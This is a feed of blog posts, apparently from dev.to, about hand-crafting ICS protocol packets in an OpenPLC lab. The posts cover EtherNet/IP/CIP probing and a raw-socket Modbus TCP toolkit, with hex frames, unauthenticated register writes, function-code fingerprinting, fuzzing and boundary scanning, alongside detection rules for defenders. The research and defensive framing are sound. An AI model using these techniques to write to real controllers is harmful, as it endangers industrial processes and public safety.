      <description>&lt;p&gt;&lt;em&gt;By RUGERO Tesla (&lt;a href="https://github.com/404saint" rel="noopener noreferrer"&gt;@404Saint&lt;/a&gt;).&lt;/em&gt; &lt;/p&gt;

&lt;p&gt;We see a lot of clean "wins" on tech blogs. People post beautifully formatted walk-throughs where every exploit chain connects on the first try, every payload returns a root shell, and the terminal looks like a movie script.&lt;/p&gt;

&lt;p&gt;This isn't one of those posts.&lt;/p&gt;

&lt;p&gt;This is the raw, unedited chronology of what happens when you spend hours fighting industrial protocols, getting brick-walled by application layers, and chasing down silent network failures at 2:00 AM.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. The Trap of Protocol Assumptions (DNP3 vs. Modbus)
&lt;/h2&gt;

&lt;p&gt;The cycle started yesterday. Fresh off building a custom toolkit for Modbus TCP which is a beautifully simple, stateless, and completely predictable protocol, I figured I would easily pivot the framework to handle DNP3.&lt;/p&gt;

&lt;p&gt;I expected a similar flow. I was entirely wrong.&lt;/p&gt;

&lt;p&gt;Five hours of continuous, grueling socket programming later, I was staring at a wall. DNP3 isn’t just a protocol; it’s an intricate architectural ecosystem. It requires dealing with complex outstation internal states, multi-layered packet fragmentations, and strict link-layer confirmations. Treating DNP3 like Modbus isn't just a minor mistake; it’s a fundamental misunderstanding of the wire.&lt;/p&gt;

&lt;p&gt;Realizing I was fighting a losing battle without deep-diving into the complete specification first, I made a tactical decision: I parked DNP3 for a dedicated project later, stepped back, and redirected my raw Python socket architecture toward EtherNet/IP (ENIP) and the Common Industrial Protocol (CIP).&lt;/p&gt;




&lt;h2&gt;
  
  
  2. The Illusions of the Network Layer (The TCP ACK Trap)
&lt;/h2&gt;

&lt;p&gt;By late tonight, the initial EtherNet/IP encapsulation code was ready. I fired off the initial Phase 1 registration packets (&lt;code&gt;0x0065&lt;/code&gt;) against my local lab target running an OpenPLC instance. The handshakes were flawless, and the session handles were rotating cleanly in hexadecimal. The transport layer felt bulletproof.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F80xa1m8kuzq12jd13avy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F80xa1m8kuzq12jd13avy.png" alt="Successful ENIP session registration" width="625" height="152"&gt;&lt;/a&gt;&lt;/p&gt;&lt;br&gt;&lt;em&gt;Figure 1: Successful ENIP session registration (&lt;code&gt;0x0065&lt;/code&gt;) yielding an active handle.&lt;/em&gt;
  &lt;p&gt;&lt;/p&gt;

&lt;p&gt;Then came Phase 2: Attempting a Symbolic Segment Tag Read (&lt;code&gt;0x4C&lt;/code&gt;) over an unconnected data path (&lt;code&gt;SendRRData&lt;/code&gt;, &lt;code&gt;0x006F&lt;/code&gt;). I hit enter on the execution script and watched &lt;code&gt;tcpdump&lt;/code&gt; on my secondary monitor.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4x06zinemws01xm3cser.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4x06zinemws01xm3cser.png" alt="The network illusion TCP transport layer handshake" width="625" height="152"&gt;&lt;/a&gt;&lt;/p&gt;&lt;br&gt;&lt;em&gt;Figure 2: The network illusion— captured a flawless TCP transport-layer handshake followed by absolute application-layer silence.&lt;/em&gt;
  &lt;p&gt;&lt;/p&gt;

&lt;p&gt;On the network level, it looked like a total success:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The script pushed the raw custom ENIP payload to port 44818.&lt;/li&gt;
&lt;li&gt;The target container immediately shot back a TCP &lt;code&gt;. ACK&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;But on my main terminal, everything just froze.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[*] Phase 02: Building and delivering Vendor class 0x64 read requests...
[-] Wire execution crashed. Context: timed out

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Five seconds of total silence, followed by a socket timeout exception. This is the ultimate illusion of network testing. The host OS kernel swallowed the packet and acknowledged it at the transport layer, but the actual PLC application layer went completely dark. No TCP Reset (&lt;code&gt;RST&lt;/code&gt;). No CIP error frames. Just an empty void.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Demolishing the Target (Inside the OpenPLC Logs)
&lt;/h2&gt;

&lt;p&gt;I spent the next hour questioning my own code. When you're crafting raw binary payloads via Python’s &lt;code&gt;struct.pack()&lt;/code&gt;, a single misaligned byte, a broken word size, or an incorrect item count in the Common Packet Format (CPF) wrapper will cause an industrial parser to drop the ball.&lt;/p&gt;

&lt;p&gt;I tore the script apart, rebuilt the hexadecimal mapping from scratch, and even stripped out the proprietary Rockwell tag-read service down to a completely generic, standard CIP Identity Object discovery path (&lt;code&gt;Class 0x01, Instance 0x01, Service 0x0E&lt;/code&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Re-aligning the CPF wrapper and Encapsulation Header
&lt;/span&gt;&lt;span class="n"&gt;rr_data_packet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;HHII8sI IHHHHHH&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="mh"&gt;0x006F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;SAINT404&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# Encap Header
&lt;/span&gt;    &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00B2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;          &lt;span class="c1"&gt;# CPF Data
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cip_data&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I ran it again. Same result. Another 5-second hang.&lt;/p&gt;

&lt;p&gt;At this point, you have to stop assuming your tool is broken and start looking at the target's internal state. I dropped out of my code editor and pulled the live stdout logs from the target runtime container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker logs openplc-lab

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There, buried in the container timestamps, was the exact smoking gun:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2026-06-23T14:05:56.165168622Z ENIP: Received unsupported EtherNet/IP Type
2026-06-23T14:05:56.165170130Z Server: Error writing response: -1

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The realization was incredibly clarifying. The script wasn't broken. The packet wasn't misaligned. OpenPLC’s lightweight, modular EtherNet/IP listener simply does not support Rockwell-style proprietary symbolic tag reading &lt;em&gt;or&lt;/em&gt; standard unconnected explicit message routing (UCMM).&lt;/p&gt;

&lt;p&gt;Instead of cleanly replying over the wire with a standard CIP protocol error frame (like a normal PLC would), OpenPLC’s backend code hit an unhandled exception path, threw an internal error (&lt;code&gt;-1&lt;/code&gt;), and dropped the socket completely without writing a single byte back to my network interface.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Upgrading the Arsenal
&lt;/h2&gt;

&lt;p&gt;In offensive security and asset fingerprinting, a silent application-layer drop is incredibly valuable telemetry. It tells you exactly who and what is on the other side of the wire.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A real, production-grade Allen-Bradley controller or a high-fidelity simulator will return either tag data or a structured CIP error frame (&lt;code&gt;Path Segment Error&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;An OpenPLC instance will choke internally, log an unhandled error, and leave the client script hanging until a timeout.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The ultimate lesson? Hobbyist software teaches you about hobbyist bugs. Fighting with a stripped-down implementation only maps out its internal software limitations rather than showing you how real-world OT systems respond to packet manipulation.&lt;/p&gt;

&lt;p&gt;To truly reverse-engineer industrial connection managers, &lt;code&gt;Forward_Open&lt;/code&gt; loops, and complex CIP state machines, you need a target that acts like the real thing.&lt;/p&gt;

&lt;p&gt;Tomorrow, the lightweight containers are getting parked. We are upgrading the lab environment to high-fidelity target harnesses.&lt;/p&gt;

</description>
      <category>plc</category>
      <category>ics</category>
      <category>network</category>
      <category>python</category>
    </item>
    <item>
      <title>I Removed the High-Level Frameworks and Hand-Crafted My Own Modbus TCP Toolkit From Raw Sockets</title>
      <dc:creator>404Saint</dc:creator>
      <pubDate>Tue, 16 Jun 2026 19:20:27 +0000</pubDate>
      <link>https://dev.to/null_saint/i-removed-the-high-level-frameworks-and-hand-crafted-my-own-modbus-tcp-toolkit-from-raw-sockets-38jp</link>
      <guid>https://dev.to/null_saint/i-removed-the-high-level-frameworks-and-hand-crafted-my-own-modbus-tcp-toolkit-from-raw-sockets-38jp</guid>
      <description>&lt;p&gt;&lt;em&gt;By RUGERO Tesla (&lt;a href="https://github.com/404saint" rel="noopener noreferrer"&gt;@404Saint&lt;/a&gt;).&lt;/em&gt; &lt;/p&gt;

&lt;p&gt;Industrial protocols always felt like an intentional black box to me.&lt;/p&gt;

&lt;p&gt;Most tutorials, guides, and bootcamps follow a predictable script: you &lt;code&gt;pip install&lt;/code&gt; a heavy, third-party framework, invoke an abstracted wrapper function, and print a sanitized result. But very few actually pull back the curtain to explain what is happening down on the wire. When you rely completely on vendor abstraction layers, you completely miss the underlying engineering quirks—and core implementation flaws that define how these daemons actually process packets, handle exceptions, and fail.&lt;/p&gt;

&lt;p&gt;So, I decided to do something about it. I turned off the libraries, opened up a raw Python socket, and spent several days manually reverse-engineering and implementing Modbus TCP from the ground up.&lt;/p&gt;

&lt;p&gt;The goal wasn't to write a production-ready Modbus client. The goal was to understand exactly how Programmable Logic Controllers (PLCs) talk at the byte level.&lt;/p&gt;

&lt;p&gt;By stripping away the third-party fluff, my research quickly progressed from reading a single baseline register to building an automated capability fingerprinting loop, discovering hard silent memory boundaries, fuzzing input validation parsing, and engineering high-fidelity detection heuristics that blue teams can deploy in live Operational Technology (OT) environments.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Modbus TCP?
&lt;/h2&gt;

&lt;p&gt;If you step onto a modern factory floor, water treatment facility, or power grid control room, you will find Modbus driving critical infrastructure data loops. It is the connective tissue for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Programmable Logic Controllers (PLCs)&lt;/li&gt;
&lt;li&gt;Human-Machine Interfaces (HMIs)&lt;/li&gt;
&lt;li&gt;Supervisory Control and Data Acquisition (SCADA) runtimes&lt;/li&gt;
&lt;li&gt;Building Automation Sensors&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Despite being decades old, its utter simplicity and interoperability keep it firmly entrenched in modern automated control stacks. That exact structural simplicity also makes it the definitive playground for anyone trying to bridge the gap between pure software exploitation and physical physical-layer control routing.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Simulation Topology
&lt;/h2&gt;

&lt;p&gt;To execute this safely without running into real-world hardware damage or kernel routing hell, I set up a minimal simulation sandbox:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+-----------------------+
|     Attacker Host     |
|  (Raw Python Suite)   |
+-----------+-----------+
            |
            | TCP Port 502
            | (Raw Layer Zero Stream)
            |
+-----------v-----------+
|    OpenPLC Runtime    |
|    (Target Server)    |
+-----------------------+

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The Target:&lt;/strong&gt; OpenPLC Runtime Engine with its local Modbus TCP server daemon enabled and listening on standard port &lt;code&gt;502&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Analysis Workstation:&lt;/strong&gt; Arch Linux workspace leveraging &lt;code&gt;tcpdump&lt;/code&gt; background streams and Wireshark for direct frame validation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Instead of calling &lt;code&gt;pymodbus&lt;/code&gt; or letting &lt;code&gt;Scapy&lt;/code&gt; automatically format my payloads, I manually built every command block out of the standard Python &lt;code&gt;socket&lt;/code&gt; and &lt;code&gt;struct&lt;/code&gt; modules.&lt;/p&gt;




&lt;h2&gt;
  
  
  Down in the Wire: Protocol Anatomy
&lt;/h2&gt;

&lt;p&gt;Before writing a single line of executable automation code, I had to dissect the structural layout of a standard Modbus transaction. On the wire, a basic request looks like a flat string of hexadecimal data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;00 01 00 00 00 06 01 03 00 00 00 01

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you map the offsets out byte-by-byte, the packet splits cleanly into a 7-byte &lt;strong&gt;MBAP Header&lt;/strong&gt; (Modbus Application Protocol) and a downstream &lt;strong&gt;PDU&lt;/strong&gt; (Protocol Data Unit):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;00 01&lt;/code&gt;&lt;/strong&gt; | &lt;strong&gt;Transaction Identifier:&lt;/strong&gt; Synchronized sequential number tracking for request/response pairing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;00 00&lt;/code&gt;&lt;/strong&gt; | &lt;strong&gt;Protocol Identifier:&lt;/strong&gt; Hardcoded to zero specifically for Modbus TCP networks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;00 06&lt;/code&gt;&lt;/strong&gt; | &lt;strong&gt;Length:&lt;/strong&gt; The precise numerical count of all remaining bytes inside the frame.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;01&lt;/code&gt;&lt;/strong&gt; | &lt;strong&gt;Unit Identifier:&lt;/strong&gt; Slave/routing destination index for the controller node.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;03&lt;/code&gt;&lt;/strong&gt; | &lt;strong&gt;Function Code:&lt;/strong&gt; The direct operational command (e.g., &lt;code&gt;FC03&lt;/code&gt; - Read Holding Registers).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;00 00&lt;/code&gt;&lt;/strong&gt; | &lt;strong&gt;Starting Address:&lt;/strong&gt; The memory index offset to begin polling from.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;00 01&lt;/code&gt;&lt;/strong&gt; | &lt;strong&gt;Quantity of Registers:&lt;/strong&gt; The exact number of 16-bit word data blocks requested.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once this memory geometry made sense, translating it into raw, hard-packed binary network data streams became trivial.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 1: Passive Data Polling (&lt;code&gt;FC03&lt;/code&gt; &amp;amp; &lt;code&gt;FC01&lt;/code&gt;)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Reading Holding Registers (&lt;code&gt;FC03&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;My first operational script focused on assembling an &lt;code&gt;FC03&lt;/code&gt; transaction loop to pull analog configuration values out of the PLC data block.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;My Hex Request:&lt;/strong&gt; &lt;code&gt;00 01 00 00 00 06 01 03 00 00 00 01&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Target Response:&lt;/strong&gt; &lt;code&gt;00 01 00 00 00 05 01 03 02 00 00&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Seeing the clean, non-abstracted raw bytes echo back onto my socket interface was the exact moment the protocol stopped looking like magic and started looking like a transparent data pipe.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reading Discrete Coils (&lt;code&gt;FC01&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;I implemented &lt;code&gt;FC01&lt;/code&gt; shortly after to verify how binary bit flags are handled. Tracking the bit-packed, Least Significant Bit (LSB) format across the wire proved how lightweight and highly predictable industrial status checking really is under normal operation.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 2: Active State Manipulation (&lt;code&gt;FC06&lt;/code&gt; &amp;amp; &lt;code&gt;FC16&lt;/code&gt;)
&lt;/h2&gt;

&lt;p&gt;Reading variables lets you monitor a process; writing to them lets you change physical reality.&lt;/p&gt;

&lt;h3&gt;
  
  
  Single Variable Injections (&lt;code&gt;FC06&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;I extended my socket core to handle Function Code 06 (Write Single Register), firing a value of &lt;code&gt;1337&lt;/code&gt; straight into holding register offset &lt;code&gt;0&lt;/code&gt;. An immediate readback command confirmed that the variable shifted instantly in runtime space. It was a stark reminder of how easily an unauthenticated network injection can alter a controller's parameters.&lt;/p&gt;

&lt;h3&gt;
  
  
  Bulk Payload Overwrites (&lt;code&gt;FC16&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;Single points are fine, but bulk manipulation is where things get interesting. Using &lt;code&gt;FC16&lt;/code&gt; (Write Multiple Registers), I pushed an entire array sequence into memory simultaneously:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server accepted the payload instantly, confirming that complex block states can be rewritten in a single socket transaction.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 3: Capability Fingerprinting &amp;amp; Recon
&lt;/h2&gt;

&lt;p&gt;With standard data I/O paths verified, I wanted to map out the complete, unadulterated functional footprint of the OpenPLC engine without consulting vendor documentation. I built an automated capability mapping loop (&lt;code&gt;modfingerprint.py&lt;/code&gt;) to systematically scan the command spectrum from &lt;code&gt;0x01&lt;/code&gt; directly through &lt;code&gt;0x7F&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The fingerprint execution mapped out the active operational layout:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] FC01 Supported (Read Coils)
[+] FC02 Supported (Read Discrete Inputs)
[+] FC03 Supported (Read Holding Registers)
[+] FC04 Supported (Read Input Registers)
[+] FC05 Supported (Write Single Coil)
[+] FC06 Supported (Write Single Register)
[+] FC15 Supported (Write Multiple Coils)
[+] FC16 Supported (Write Multiple Registers)

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any unsupported function codes fired outside this specific baseline were cleanly intercepted by the target daemon and rejected via standard Modbus error frames: &lt;strong&gt;&lt;code&gt;Exception 01&lt;/code&gt; (Illegal Function)&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Probing for Metadata (&lt;code&gt;FC43&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;I tried to pull asset tracking data like vendor tags, firmware levels, and hardware naming schemes using &lt;strong&gt;Function Code 43 (Modbus Encapsulated Interface Type &lt;code&gt;0x0E&lt;/code&gt;)&lt;/strong&gt;. The OpenPLC daemon dropped the packet with an &lt;code&gt;Illegal Function&lt;/code&gt; exception, successfully protecting its asset signature from basic network profiling tools.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 4: Fuzzing, Exceptions, and Memory Boundaries
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exception Isolation Under Stress
&lt;/h3&gt;

&lt;p&gt;To test the resilience of the target parser, I deliberately pumped malformed frames, incorrect lengths, out-of-bounds quantities, and invalid functions straight into the daemon interface.&lt;/p&gt;

&lt;p&gt;The PLC correctly generated spec-compliant exceptions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;01&lt;/code&gt; - Illegal Function:&lt;/strong&gt; Triggered by out-of-range commands.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;02&lt;/code&gt; - Illegal Data Address:&lt;/strong&gt; Triggered by requests targeting dead space.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;03&lt;/code&gt; - Illegal Data Value:&lt;/strong&gt; Triggered by skewed parameters.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The most notable observation here? The background runtime service handled the error parsing gracefully. I couldn't crash or hang the daemon; it isolated the bad inputs and kept the socket loop completely stable.&lt;/p&gt;

&lt;h3&gt;
  
  
  Automated Memory Boundary Discovery
&lt;/h3&gt;

&lt;p&gt;I built a specialized optimization loop (&lt;code&gt;modboundary.py&lt;/code&gt;) that leveraged a binary-search style algorithm to trace the exact ceiling of the accessible holding register memory space.&lt;/p&gt;

&lt;p&gt;Instead of sequential polling, the script rapidly converged on offset &lt;strong&gt;&lt;code&gt;8191&lt;/code&gt;&lt;/strong&gt; as the absolute maximum boundary (confirming an overall block allocation of exactly 8,192 address points, or &lt;strong&gt;16 KB&lt;/strong&gt; of volatile RAM mapping). Attempting to read index &lt;code&gt;8192&lt;/code&gt; instantly triggered an &lt;code&gt;Illegal Data Address&lt;/code&gt; error.&lt;/p&gt;

&lt;h3&gt;
  
  
  An Unexpected Implementation Quirk
&lt;/h3&gt;

&lt;p&gt;During the discrete coil fuzzing run (&lt;code&gt;FC05&lt;/code&gt;), I caught a clear deviation from the official Modbus specification documentation. The formal standard explicitly states that only two fixed values are valid for changing coil states: &lt;code&gt;0xFF00&lt;/code&gt; (ON) and &lt;code&gt;0x0000&lt;/code&gt; (OFF). Any other values must throw an exception.&lt;/p&gt;

&lt;p&gt;However, the target parser cleanly accepted and mirrored back non-compliant arbitrary hexadecimal strings like &lt;code&gt;0x0001&lt;/code&gt;, &lt;code&gt;0x1234&lt;/code&gt;, and &lt;code&gt;0xFFFF&lt;/code&gt;, treating any non-zero value as a logical &lt;code&gt;TRUE&lt;/code&gt;. Finding where active software deployments break away from standard documentation parameters is exactly why bare-metal research pays off.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Systemic Security Reality
&lt;/h2&gt;

&lt;p&gt;The single biggest takeaway from this research wasn't finding a software bug. &lt;strong&gt;It was the fundamental security posture of the protocol itself.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Throughout every phase of this research lab:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Authentication:&lt;/strong&gt; Non-Existent.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Authorization:&lt;/strong&gt; Non-Existent.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Encryption:&lt;/strong&gt; Non-Existent.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The operational parameters are absolute: if an endpoint can achieve basic IP connectivity to &lt;code&gt;TCP/502&lt;/code&gt;, it inherits total master capability to query data blocks, execute arbitrary writes, fuzz data vectors, and manipulate the controller's state at will. This reinforces a clear architectural lesson: legacy industrial protocols are built for raw performance and interoperability, meaning security must be aggressively enforced externally through rigid network segmentation, whitelist firewalls, and active logging.&lt;/p&gt;




&lt;h2&gt;
  
  
  Engineering High-Signal Detections
&lt;/h2&gt;

&lt;p&gt;Because Modbus scanning and state injection techniques are highly structured, an adversary cannot map or abuse a device silently. Their activity creates distinctive network artifacts that look completely different from the highly cyclical, flat baseline of standard industrial automation processes.&lt;/p&gt;

&lt;p&gt;Blue teams can construct highly effective detection rules by monitoring for these explicit behavioral indicators:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Function Code Sweeps:&lt;/strong&gt; Track clients issuing multiple distinct or sequential function code requests (scanning from &lt;code&gt;FC01&lt;/code&gt; onward) within a brief time frame.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Boundary Profiling Loops:&lt;/strong&gt; Signature patterns making alternating, binary-search style mathematical jumps across address offsets followed by targeted clusters of &lt;code&gt;Exception 02&lt;/code&gt; frames.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exception Storm Monitoring:&lt;/strong&gt; Immediate alerting on sharp quantitative spikes in exception codes (&lt;code&gt;01&lt;/code&gt;, &lt;code&gt;02&lt;/code&gt;, or &lt;code&gt;03&lt;/code&gt;) from a single node, pointing directly to active fuzzing engines or automated reconnaissance scanners.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Asymmetric State Modification:&lt;/strong&gt; Whitelisting write payloads (&lt;code&gt;FC05&lt;/code&gt;, &lt;code&gt;FC06&lt;/code&gt;, &lt;code&gt;FC15&lt;/code&gt;, &lt;code&gt;FC16&lt;/code&gt;) strictly to legitimate HMI runtime assets and dedicated engineering terminals, while dropping and logging any writes coming from enterprise jump hosts or unmapped IP spaces.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Exploring the Master Architecture
&lt;/h2&gt;

&lt;p&gt;The complete codebase for this research including the custom Python packet-crafting tools, behavioral anomaly indicators, and the complete step-by-step lab reproduction guide—is fully open-sourced inside my new master portfolio repository.&lt;/p&gt;

&lt;p&gt;You can pull the blueprints, run the code, and test your own environments here:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/404saint/industrial-protocol-labs" rel="noopener noreferrer"&gt;Industrial Protocol Labs&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This lab started as a baseline attempt to demystify a protocol and turned into one of the most educational security milestones I've built. If you are serious about understanding OT/ICS security engineering, turn off your third-party abstraction frameworks, build a small simulation lab, spin up raw sockets, and write the packets yourself. The wire doesn't lie.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Disclaimer: All testing and research documented in this post was executed exclusively within an isolated, authorized laboratory environment using OpenPLC for educational and defensive security engineering research purposes. Do not target production infrastructure, utility control loops, or live automated environments without formal authorization and explicit safety controls.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ics</category>
      <category>networking</category>
      <category>cybersecurity</category>
      <category>programming</category>
    </item>
    <item>
      <title>I Stripped Away the Vendor Software and Hand-Crafted 5 Industrial Handshakes From Scratch</title>
      <dc:creator>404Saint</dc:creator>
      <pubDate>Tue, 09 Jun 2026 17:39:31 +0000</pubDate>
      <link>https://dev.to/null_saint/i-stripped-away-the-vendor-software-and-hand-crafted-5-industrial-handshakes-from-scratch-3jo4</link>
      <guid>https://dev.to/null_saint/i-stripped-away-the-vendor-software-and-hand-crafted-5-industrial-handshakes-from-scratch-3jo4</guid>
      <description>&lt;p&gt;&lt;em&gt;By RUGERO Tesla (&lt;a href="https://github.com/404saint" rel="noopener noreferrer"&gt;@404Saint&lt;/a&gt;).&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A few weeks back, I wrote an article about how easy it is to take control of an unauthenticated PLC if you have network access. But pointing a script at a port and watching a variable change is only step one. It doesn’t tell you how the communication actually functions when it hits the wire.&lt;/p&gt;

